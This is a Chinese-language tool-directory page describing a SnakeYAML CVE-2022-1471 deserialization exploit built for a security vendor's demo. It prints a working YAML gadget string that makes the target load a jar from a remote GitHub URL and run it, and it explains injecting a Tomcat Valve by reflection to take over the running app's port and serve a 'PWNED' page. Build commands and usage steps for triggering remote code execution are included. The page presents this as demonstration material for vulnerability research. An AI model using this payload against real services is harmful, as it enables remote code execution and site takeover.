Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
yaml-payload-2 — SnakeYAML CVE-2022-1471 漏洞利用载荷,用于 Seal Security 演示 | Kitploit
工具/GitHubGitHub/seal-sec-demo-2/yaml-payload-2
漏洞分析漏洞利用Web应用程序漏洞利用红队Payload 开发
GitHubseal-sec-demo-2/yaml-payload-2

yaml-payload-2

SnakeYAML CVE-2022-1471 漏洞利用载荷,用于 Seal Security 演示

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

yaml-payload

一个针对 CVE-2022-1471 的 SnakeYAML 反序列化利用载荷,改编自 artsploit/yaml-payload(最初基于 mbechler/marshalsec)。

功能说明

当通过 SnakeYAML 不安全的 Yaml.load() 加载时,此载荷会接管正在运行的应用程序,并将其替换为“You've Been PWNED”页面:

  1. 注入 Tomcat Valve — 通过反射将 Valve 注入到正在运行的 Spring Boot 应用中,劫持现有的 8080 端口——相同的 URL(包括任何 ngrok 隧道)现在都会提供 PWNED 页面
  2. 自动重定向浏览器 — POST 响应会发送 302 重定向,因此浏览器无需手动刷新即可立即加载 PWNED 页面
  3. 自动打开浏览器 到正确的 URL(如果有 ngrok 公共 URL 则使用该 URL,否则使用 localhost:8080)
  4. 将利用证据打印 到控制台/CI 日志

如果 Tomcat Valve 注入不可用(例如非 Spring 应用),它会回退到在 9999 端口启动一个独立的 HTTP 服务器,并在 ngrok 运行时自动创建 ngrok 隧道。

这既适用于本地 macOS,也适用于CI/CD 流水线(例如 Ubuntu 上的 GitHub Actions)。

利用链的工作原理

SnakeYAML 载荷通过 Java SPI(服务提供者接口)触发 ScriptEngineManager:

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML 实例化指向此仓库 yaml-payload.jar 的 java.net.URL
  2. 将其包装在 URLClassLoader 中以加载远程类
  3. ScriptEngineManager 通过 META-INF/services/javax.script.ScriptEngineFactory 发现并加载 AwesomeScriptEngineFactory
  4. 该工厂的构造函数将 Valve 注入到正在运行的 Tomcat 管道中,将对 / 的每个后续响应替换为 PWNED 页面

构建

需要 JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

使用方法

用作 maven-demo 项目中的利用载荷。将载荷字符串粘贴到应用的名称字段中以触发 RCE。在下一次请求时,应用的页面将被替换为 PWNED 页面。有关完整的演示说明,请参阅该仓库的 README。

下载工具